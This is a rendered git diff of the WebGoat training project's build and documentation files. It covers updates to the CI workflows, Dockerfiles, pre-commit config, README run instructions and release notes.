password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: "Build and push WebGoat" - name: "Build and push WebGoat"
uses: docker/build-push-action@v5.1.0 uses: docker/build-push-action@v6.14.0
with: with:
context: ./ context: ./
file: ./Dockerfile file: ./Dockerfile
push: true push: true
platforms: linux/amd64, linux/arm64, linux/arm/v7 platforms: linux/amd64, linux/arm64
tags: | tags: |
webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }} webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/webgoat:latest webgoat/webgoat:latest
@ -99,7 +95,7 @@ jobs:
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }} webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Build and push WebGoat desktop" - name: "Build and push WebGoat desktop"
uses: docker/build-push-action@v5.1.0 uses: docker/build-push-action@v6.14.0
with: with:
context: ./ context: ./
file: ./Dockerfile_desktop file: ./Dockerfile_desktop
@ -116,15 +112,15 @@ jobs:
needs: [ release ] needs: [ release ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v3 - uses: actions/checkout@v4
with: with:
fetch-depth: 0 fetch-depth: 0
- name: Set up JDK 17 - name: Set up JDK 23
uses: actions/setup-java@v3 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 23
architecture: x64 architecture: x64
- name: Set version to next snapshot - name: Set version to next snapshot
@ -132,7 +128,7 @@ jobs:
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
- name: Push the changes to new branch - name: Push the changes to new branch
uses: devops-infra/action-commit-push@v0.9.2 uses: devops-infra/action-commit-push@v0.10.0
with: with:
github_token: "${{ secrets.GITHUB_TOKEN }}" github_token: "${{ secrets.GITHUB_TOKEN }}"
add_timestamp: true add_timestamp: true
@ -140,9 +136,8 @@ jobs:
force: false force: false
- name: Create PR - name: Create PR
uses: devops-infra/action-pull-request@v0.5.5 uses: devops-infra/action-pull-request@v0.6.0
with: with:
github_token: "${{ secrets.GITHUB_TOKEN }}" github_token: "${{ secrets.GITHUB_TOKEN }}"
title: ${{ github.event.commits[0].message }} title: ${{ github.event.commits[0].message }}
target_branch: main target_branch: main

View File

@ -1,67 +0,0 @@
name: "UI-Test"
on:
pull_request:
paths-ignore:
- 'LICENSE'
- 'docs/**'
push:
tags-ignore:
- 'v*'
paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE'
- 'docs/**'
jobs:
build:
runs-on: ubuntu-latest
# display name of the job
name: "Robot framework test"
steps:
# Uses an default action to checkout the code
- uses: actions/checkout@v3
# Uses an action to add Python to the VM
- name: Setup Pyton
uses: actions/setup-python@v4
with:
python-version: '3.7'
architecture: x64
# Uses an action to add JDK 17 to the VM (and mvn?)
- name: set up JDK 17
uses: actions/setup-java@v3
with:
distribution: 'temurin'
java-version: 17
architecture: x64
#Uses an action to set up a cache using a certain key based on the hash of the dependencies
- name: Cache Maven packages
uses: actions/cache@v3.3.1
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2-
- uses: BSFishy/pip-action@v1
with:
packages: |
robotframework
robotframework-SeleniumLibrary
webdriver-manager
selenium==4.9.1
# TODO https://github.com/robotframework/SeleniumLibrary/issues/1835
- name: Run with Maven
run: mvn --no-transfer-progress spring-boot:run &
- name: Wait to start
uses: ifaxity/wait-on-action@v1
with:
resource: http://127.0.0.1:8080/WebGoat
- name: Test with Robotframework
run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
# send report to forks only due to limits on permission tokens
- name: Send report to commit
if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
uses: joonvena/robotframework-reporter-action@v2.2
with:
gh_access_token: ${{ secrets.GITHUB_TOKEN }}
report_path: 'robotreport'

View File

@ -10,7 +10,7 @@ jobs:
if: github.repository == 'WebGoat/WebGoat' if: github.repository == 'WebGoat/WebGoat'
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/first-interaction@v1.2.0 - uses: actions/first-interaction@v1.3.0
with: with:
repo-token: ${{ secrets.GITHUB_TOKEN }} repo-token: ${{ secrets.GITHUB_TOKEN }}
issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.' issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'

7
.gitignore vendored
View File

@ -56,4 +56,9 @@ TestClass.class
**/*.flattened-pom.xml **/*.flattened-pom.xml
/.gitconfig /.gitconfig
webgoat.gitconfig webgoat.gitconfig
node_modules/
/test-results/
/playwright-report/
/blob-report/
/playwright/.cache/

28
.pre-commit-config.yaml Normal file
View File

@ -0,0 +1,28 @@
ci:
autofix_commit_msg: |
[pre-commit.ci] auto fixes from pre-commit.com hooks
autofix_prs: false # managed in the action step
autoupdate_branch: ""
autoupdate_commit_msg: "[pre-commit.ci] pre-commit autoupdate"
autoupdate_schedule: weekly
skip: []
submodules: false
repos:
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v4.4.0
hooks:
- id: check-yaml
- id: end-of-file-fixer
exclude: ^(README.md|CREATE_RELEASE.md)
- id: trailing-whitespace
- repo: https://github.com/alessandrojcm/commitlint-pre-commit-hook
rev: v9.5.0
hooks:
- id: commitlint
stages: [commit-msg]
- repo: https://github.com/ejba/pre-commit-maven
rev: v0.3.4
hooks:
- id: maven
args: [ 'clean compile' ]
- id: maven-spotless-apply

View File

@ -1,6 +1,9 @@
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
Copyright (c) 2002 - $today.year Bruce Mayhew SPDX-License-Identifier: GPL-2.0-or-later
Copyright (c) 2002 - 2016 Bruce Mayhew
Copyright (c) 2014 - $today.year Nanne Baars
This program is free software; you can redistribute it and/or modify it under the terms of the This program is free software; you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation; either version 2 of the GNU General Public License as published by the Free Software Foundation; either version 2 of the
@ -16,4 +19,4 @@ not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, B
Getting Source ============== Getting Source ==============
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

View File

@ -11,11 +11,11 @@ Update the release notes with the correct version. Use `git shortlog -s -n --sin
committers. In order to fetch the list of issues included use: `git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main` committers. In order to fetch the list of issues included use: `git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main`
``` ```
mvn versions:set mvn versions:set
<< update release notes >> << update release notes >>
mvn verify mvn verify
git commit .... git commit ....
git tag v2023.01 git tag v2023.01
git push --tags git push --tags
``` ```

View File

@ -1,6 +1,8 @@
FROM docker.io/eclipse-temurin:19-jre-focal # We need JDK as some of the lessons needs to be able to compile Java code
LABEL NAME = "WebGoat: A deliberately insecure Web Application" FROM docker.io/eclipse-temurin:23-jdk-noble
MAINTAINER "WebGoat team"
LABEL name="WebGoat: A deliberately insecure Web Application"
LABEL maintainer="WebGoat team"
RUN \ RUN \
useradd -ms /bin/bash webgoat && \ useradd -ms /bin/bash webgoat && \
@ -14,6 +16,8 @@ COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
EXPOSE 8080 EXPOSE 8080
EXPOSE 9090 EXPOSE 9090
ENV TZ=Europe/Amsterdam
WORKDIR /home/webgoat WORKDIR /home/webgoat
ENTRYPOINT [ "java", \ ENTRYPOINT [ "java", \
"-Duser.home=/home/webgoat", \ "-Duser.home=/home/webgoat", \
@ -30,8 +34,7 @@ ENTRYPOINT [ "java", \
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \ "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
"--add-opens", "java.base/java.io=ALL-UNNAMED", \ "--add-opens", "java.base/java.io=ALL-UNNAMED", \
"-Drunning.in.docker=true", \ "-Drunning.in.docker=true", \
"-Dwebgoat.host=0.0.0.0", \ "-jar", "webgoat.jar", "--server.address", "0.0.0.0" ]
"-Dwebwolf.host=0.0.0.0", \
"-Dwebgoat.port=8080", \ HEALTHCHECK --interval=5s --timeout=3s \
"-Dwebwolf.port=9090", \ CMD curl --fail http://localhost:8080/WebGoat/actuator/health || exit 1
"-jar", "webgoat.jar" ]

View File

@ -1,6 +1,6 @@
FROM lscr.io/linuxserver/webtop:ubuntu-xfce FROM lscr.io/linuxserver/webtop:ubuntu-xfce
LABEL NAME = "WebGoat: A deliberately insecure Web Application" LABEL name="WebGoat: A deliberately insecure Web Application"
MAINTAINER "WebGoat team" LABEL maintainer="WebGoat team"
WORKDIR /config WORKDIR /config
@ -9,26 +9,39 @@ COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
COPY config/desktop/start_zap.sh /config/start_zap.sh COPY config/desktop/start_zap.sh /config/start_zap.sh
COPY config/desktop/WebGoat.txt /config/Desktop/ COPY config/desktop/WebGoat.txt /config/Desktop/
RUN \
apt-get update && \
apt-get --yes install vim nano gzip
RUN \ RUN \
case $(uname -m) in \ case $(uname -m) in \
x86_64) ARCH=x64;; \ x86_64) ARCH=x64;; \
aarch64) ARCH=aarch64;; \ aarch64) ARCH=aarch64;; \
*) ARCH=unknown;; \ *) ARCH=unknown;; \
esac && \ esac && \
curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2.12.0_Linux.tar.gz && \ echo ${ARCH}
tar zfxv ZAP_2.12.0_Linux.tar.gz && \
rm -rf ZAP_2.12.0_Linux.tar.gz && \ RUN \
curl -LO https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.6%2B10/OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \ curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.15.0/ZAP_2.15.0_Linux.tar.gz && \
tar zfxv OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \ tar zfxv ZAP_2.15.0_Linux.tar.gz && \
rm -rf OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \ rm -rf ZAP_2.15.0_Linux.tar.gz
RUN \
case $(uname -m) in \
x86_64) ARCH=x64;; \
aarch64) ARCH=aarch64;; \
*) ARCH=unknown;; \
esac && \
echo "oeps == ${ARCH}==" && \
curl -L https://github.com/adoptium/temurin23-binaries/releases/download/jdk-23.0.1%2B11/OpenJDK23U-jre_"${ARCH}"_linux_hotspot_23.0.1_11.tar.gz -o java.tar.gz && \
tar zfxv java.tar.gz && \
rm -rf java.tar.gz && \
chmod +x /config/start_webgoat.sh && \ chmod +x /config/start_webgoat.sh && \
chmod +x /config/start_zap.sh && \ chmod +x /config/start_zap.sh && \
apt-get update && \ mv /config/jdk-23.0.1+11-jre /config/java-jdk && \
apt-get --yes install vim nano && \ echo "JAVA_HOME=/config/java-jdk/" >> .bash_aliases && \
echo "JAVA_HOME=/config/jdk-17.0.6+10-jre/" >> .bash_aliases && \
echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
ENV JAVA_HOME=/config/java-jdk
ENV JAVA_HOME=/home/webgoat/jdk-17.0.6+10-jre
WORKDIR /config/Desktop WORKDIR /config/Desktop

1
FAQ.md
View File

@ -5,4 +5,3 @@
### Integration tests fail ### Integration tests fail
Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line. Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line.

View File

@ -1,6 +1,9 @@
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
Copyright (c) 2002 - 2019 Bruce Mayhew SPDX-License-Identifier: GPL-2.0-or-later
Copyright (c) 2002 - $today.year Bruce Mayhew
Copyright (c) 2014 - $today.year Nanne Baars
This program is free software; you can redistribute it and/or modify it under the terms of the This program is free software; you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation; either version 2 of the GNU General Public License as published by the Free Software Foundation; either version 2 of the
@ -16,4 +19,4 @@ not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, B
Getting Source ============== Getting Source ==============
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

View File

@ -1,7 +1,7 @@
# WebGoat: A deliberately insecure Web Application # WebGoat: A deliberately insecure Web Application
[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml) [![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
[![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/) [![java-jdk](https://img.shields.io/badge/java%20jdk-23-green.svg)](https://jdk.java.net/)
[![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/) [![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/)
[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest) [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
[![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
@ -44,19 +44,27 @@ Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
``` ```
If you want to reuse the container, give it a name: For some lessons you need the container run in the same timezone. For this you can set the TZ environment variable.
E.g.
```shell ```shell
docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=America/Boise webgoat/webgoat
``` ```
As long as you don't remove the container you can use: If you want to use OWASP ZAP or another proxy, you can no longer use 127.0.0.1 or localhost. but
you can use custom host entries. For example:
```shell ```shell
docker start webgoat 127.0.0.1 www.webgoat.local www.webwolf.local
``` ```
This way, you can start where you left off. If you remove the container, you need to use `docker run` again. Then you can run the container with:
```shell
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e WEBGOAT_HOST=www.webgoat.local -e WEBWOLF_HOST=www.webwolf.local -e TZ=America/Boise webgoat/webgoat
```
Then visit http://www.webgoat.local:8080/WebGoat/ and http://www.webwolf.local:9090/WebWolf/
## 2. Run using Docker with complete Linux Desktop ## 2. Run using Docker with complete Linux Desktop
@ -71,16 +79,27 @@ docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
```shell ```shell
java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.4.jar export TZ=Europe/Amsterdam # or your timezone
java -Dfile.encoding=UTF-8 -jar webgoat-2023.8.jar
``` ```
Click the link in the log to start WebGoat. Click the link in the log to start WebGoat.
### 3.1 Running on a different port
If for some reason you want to run WebGoat on a different port, you can do so by adding the following parameter:
```shell
java -jar webgoat-2023.8.jar --webgoat.port=8001 --webwolf.port=8002
```
For a full overview of all the parameters you can use, please check the [WebGoat properties file](webgoat-container/src/main/resources/application-{webgoat, webwolf}.properties).
## 4. Run from the sources ## 4. Run from the sources
### Prerequisites: ### Prerequisites:
* Java 17 * Java 17 or 21
* Your favorite IDE * Your favorite IDE
* Git, or Git support in your IDE * Git, or Git support in your IDE
@ -132,9 +151,10 @@ For specialist only. There is a way to set up WebGoat with a personalized menu.
For instance running as a jar on a Linux/macOS it will look like this: For instance running as a jar on a Linux/macOS it will look like this:
```Shell ```Shell
export TZ=Europe/Amsterdam # or your timezone
export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
java -jar target/webgoat-2023.4-SNAPSHOT.jar java -jar target/webgoat-2023.8-SNAPSHOT.jar
``` ```
Or in a docker run it would (once this version is pushed into docker hub) look like this: Or in a docker run it would (once this version is pushed into docker hub) look like this:

View File

@ -16,19 +16,19 @@ The following steps are required when you want to add a new language
1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html) 1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
1. Add the parts for showing the flag and providing the correct value for the flag= parameter 1. Add the parts for showing the flag and providing the correct value for the flag= parameter
2. 2.
3. Add a flag image to src/main/resources/webgoat/static/css/img 2. Add a flag image to src/main/resources/webgoat/static/css/img
1. See the main_new.html for a link to download flag resources 1. See the main_new.html for a link to download flag resources
4. Add a welcome page to the introduction lesson 3. Add a welcome page to the introduction lesson
1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish) 1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable 2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
5. Translate the main labels 4. Translate the main labels
1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish) 1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
2. Translate the label values 2. Translate the label values
6. Optionally translate lessons by 5. Optionally translate lessons by
1. Adding lang specifc adoc files in documentation folder of the lesson 1. Adding lang specifc adoc files in documentation folder of the lesson
2. Adding WebGoatLabels.properties of a specific language if you want to 2. Adding WebGoatLabels.properties of a specific language if you want to
7. Run mvn clean to see if the LabelAndHintIntegration test passes 6. Run mvn clean to see if the LabelAndHintIntegration test passes
8. Run WebGoat and verify that your own language and the other languages work as expected 7. Run WebGoat and verify that your own language and the other languages work as expected
If you only want to translate more for a certain language, you only need to do step 4-8 If you only want to translate more for a certain language, you only need to do step 4-8

View File

@ -1,5 +1,68 @@
# WebGoat release notes # WebGoat release notes
## Version 2025.0
### 🚀 New functionality
- Introduce Playwright for UI testing
- Refactoring of core code
### 🐞 Bug fixes
- Introduce assignment progress (#2043)
- Add test case for multiple users solving lessons (#2043)
- Register user while already logged in as other user. (#2042)
- Small updates and improvements in HTTP Basic lesson (#2024)
- Improve HTTP basics lesson
- Solve compiler warnings
- Cleanup attack result and builder
- Format all code according to SPDX
- Fixed one invalid solution about CSRF attack (#2010)
- Reset a lesson no longer removes all assignments
- Hint labels showing default text regardless of localization (#1965)
- Automatically solve XSS mitigation (#1957)
- Remove implicit context path guessing (#1956)
- JWT kid/jku lessons (#1949)
- Fix password reset lesson (#1941)
- Fix passing command line arguments (#1933)
- Use banners correctly
- Show boolean operators priority on `where` (#1902)
- Remove WebGoat session object (#1929)
- Reset form and quiz color on reset lesson (#1903)
- XSS lesson typo
- Copying file using `transferTo` sometimes fails. (#1862)
- Fix report card (#1845)
- Success if only Smith earn most salary (#1744)
- Update HttpBasics_plan.adoc - fix broken link to https://www.zaproxy.org/ (#1803)
- Move CSRF to A3 (#1776)
- Fix typo in SQLi blind case
- Use $ instead of jQuery which is undefined (#1736)
- Fix hidden links in MissingFunctionAC.html. (#1710)
### 🔄 Technical tasks
- Lots of dependency updates
## Version 2023.8
### 🚀 New functionality
- Consistent environment values and url references (#1677)
- Show directly requested file in requests overview
- Show creating time in file upload overview
### 🐞 Bug fixes
- Fix startup message (#1687)
- Fix/state of software supply chain links (#1683)
- Fix WebWolf UI (#1686)
### 🔄 Technical tasks
- bump actions/setup-java from 3 to 4 (#1690)
- bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
- bump com.diffplug.spotless:spotless-maven-plugin (#1688)
## Version 2023.5 ## Version 2023.5
### New functionality ### New functionality
@ -33,13 +96,17 @@
- fix Java image inside Docker file The image now downloads the correct Java version based on the architecture. - fix Java image inside Docker file The image now downloads the correct Java version based on the architecture.
- Fix typo of HijackSession_content0.adoc - Fix typo of HijackSession_content0.adoc
- Restrict SSRF Regexes - Restrict SSRF Regexes
- update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the FlagController - update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the
FlagController
## Version 2023.4 ## Version 2023.4
### New functionality ### New functionality
- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422). Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See README.md for details on how to start it. - [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422).
Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux
desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See
README.md for details on how to start it.
- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411). - [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
### Bug fixes ### Bug fixes
@ -50,31 +117,42 @@
## Version 2023.3 ## Version 2023.3
With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme). With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year
starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began
to use a new versioning scheme (https://calver.org/#scheme).
A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we
can make
many more releases this year. many more releases this year.
### New functionality ### New functionality
- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times. - New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times.
- Move away from multi-project setup: - Move away from multi-project setup:
* This has a huge performance benefit when building the application. Build time locally is now `Total time: 42.469 s` (depends on your local machine of course) * This has a huge performance benefit when building the application. Build time locally is now
* No longer add Maven dependencies in several places `Total time: 42.469 s` (depends on your local machine of course)
* H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection. * No longer add Maven dependencies in several places
* H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure
the correct database connection.
- More explicit paths in html files to reference `adoc` files, less magic. - More explicit paths in html files to reference `adoc` files, less magic.
- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image. - Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes
and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
- Add WebWolf button in WebGoat - Add WebWolf button in WebGoat
- Move all lessons into `src/main/resources` - Move all lessons into `src/main/resources`
- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease the user experience. - WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease
the user experience.
- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...` - WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...`
- Simplify `Dockerfile` as we no longer need a script to start everything - Simplify `Dockerfile` as we no longer need a script to start everything
- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build. - Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` for an example. - Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific
- Integration tests now use the same user. This saves a lot of time as before every test used a different user which triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time. user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment`
for an example.
- Integration tests now use the same user. This saves a lot of time as before every test used a different user which
triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
- Updated introduction lesson to WebWolf. - Updated introduction lesson to WebWolf.
- Added language switch for support for multiple languages. - Added language switch for support for multiple languages.
- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port. We simplified this to just start on the specified port. - Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port.
We simplified this to just start on the specified port.
- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard. - Add Google formatter for all our code, a PR now checks whether the code adheres to the standard.
- Renaming of all packages and folders. - Renaming of all packages and folders.
- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093) - [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093)
@ -158,14 +236,16 @@ Special thanks to the following contributors providing us with a pull request:
- Added new lessons for cryptography and path-traversal - Added new lessons for cryptography and path-traversal
- Extra content added to the XXE lesson - Extra content added to the XXE lesson
- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a pull request on Github. - Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve
the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a
pull request on Github.
- Docker improvements + docker stack for complete container with nginx - Docker improvements + docker stack for complete container with nginx
- Included JWT token decoding and generation, since jwt.io does not support None anymore - Included JWT token decoding and generation, since jwt.io does not support None anymore
### Bug fixes ### Bug fixes
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743) - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
- [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811) - [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811)
- [#810 - Scoreboard for challenges shows csrf users](https://github.com/WebGoat/WebGoat/issues/810) - [#810 - Scoreboard for challenges shows csrf users](https://github.com/WebGoat/WebGoat/issues/810)
- [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788) - [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788)
- [#760 - Execution of standalone jar fails (Flyway migration step](https://github.com/WebGoat/WebGoat/issues/760) - [#760 - Execution of standalone jar fails (Flyway migration step](https://github.com/WebGoat/WebGoat/issues/760)
@ -174,7 +254,7 @@ Special thanks to the following contributors providing us with a pull request:
- [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719) - [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719)
- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715) - [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725) - [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716) - [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721) - [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724) - [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
@ -195,4 +275,3 @@ Special thanks to the following contributors providing us with a pull request:
And everyone who provided feedback through Github. And everyone who provided feedback through Github.
Team WebGoat Team WebGoat

View File

@ -8,4 +8,4 @@
<suppress files="ContentTypeAssignment.java" checks="IllegalImportCheck" /> <suppress files="ContentTypeAssignment.java" checks="IllegalImportCheck" />
<suppress files="SimpleXXE.java" checks="IllegalImportCheck" /> <suppress files="SimpleXXE.java" checks="IllegalImportCheck" />
<suppress files="HtmlTamperingTask.java" checks="ParameterName" /> <suppress files="HtmlTamperingTask.java" checks="ParameterName" />
</suppressions> </suppressions>

View File

@ -1,6 +1,6 @@
#!/bin/sh #!/bin/sh
/config/jdk-17.0.6+10-jre/bin/java \ /config/java-jdk/bin/java \
